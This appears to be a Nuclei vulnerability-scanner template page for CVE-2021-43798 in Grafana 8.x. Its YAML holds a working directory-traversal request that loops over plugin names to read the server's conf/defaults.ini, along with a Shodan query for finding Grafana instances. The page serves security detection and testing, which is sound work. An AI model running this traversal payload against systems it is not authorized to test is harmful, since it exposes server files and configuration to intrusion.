Grafana 8.x - Local File Inclusion

ID: grafana-file-read

Severity: high

Author: z0ne,dhiyaneshDk,jeya.seelan,dwisiswant0,j4vaovo

Tags: grafana,lfi

Description

Grafana 8.x is vulnerable to local file inclusion.

YAML Source

id: grafana-file-read

info:
  name: Grafana 8.x - Local File Inclusion
  author: z0ne,dhiyaneshDk,jeya.seelan,dwisiswant0,j4vaovo
  severity: high
  description: Grafana 8.x is vulnerable to local file inclusion.
  reference:
    - https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
    - https://nosec.org/home/detail/4914.html
    - https://github.com/jas502n/Grafana-VulnTips
    - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
    - https://twitter.com/naglinagli/status/1468155313182416899
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43798
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43798
    cwe-id: CWE-22
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 325
    shodan-query: title:"Grafana"
    product: grafana
    vendor: grafana
  tags: grafana,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/{{pluginSlug}}/../../../../../conf/defaults.ini"

    payloads:
      pluginSlug: helpers/wordlists/grafana-plugins.txt
    threads: 50
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "socket = /tmp/grafana.sock"
          - "http_port"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f865210932dd223ae9a42470b5e1a699d6472f49cc8996d74c0d77cffa7c022d02210085d2b77fc1eab78ddeae1b556d02c6e9bcd3aa0a38eb9223a86f5bbaf9ab33be:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/grafana/grafana-file-read.yaml"

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